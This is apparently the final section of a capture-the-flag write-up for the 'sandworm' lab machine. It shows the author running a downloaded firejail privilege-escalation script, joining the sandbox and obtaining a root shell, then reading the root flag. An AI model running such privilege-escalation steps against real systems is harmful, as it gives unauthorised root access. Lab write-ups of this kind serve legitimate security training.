  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  7955  100  7955    0     0   107k      0 --:--:-- --:--:-- --:--:--  109k

atlas@sandworm:/tmp$ chmod +x firejail.py 

atlas@sandworm:/tmp$ ./firejail.py 
You can now run 'firejail --join=5044' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

Doing as instructed I used ssh to create another shell as the atlas user and ran the firejail --join=5044 command. running sudo su - as outlined does not work though strangely. Dropping the sudo does however and I can now grab root.txt and have slain the sandworm!

sh
atlas@sandworm:~$ firejail --join=5044
changing root to /proc/5044/root
Warning: cleaning all supplementary groups
Child process initialized in 8.62 ms

atlas@sandworm:~$ sudo su -
atlas is not in the sudoers file.  This incident will be reported.

atlas@sandworm:~$ su -

root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)

root@sandworm:~# cat root.txt
843c4da38e80be51c76f7e95168ff5b8
Ouuuuuuch. Thnak you for reading!

Ouuuuuuch. Thnak you for reading!

Other Resources

Ippsec Video Walkthrough

0xdf Writeup

0xdf.gitlab.io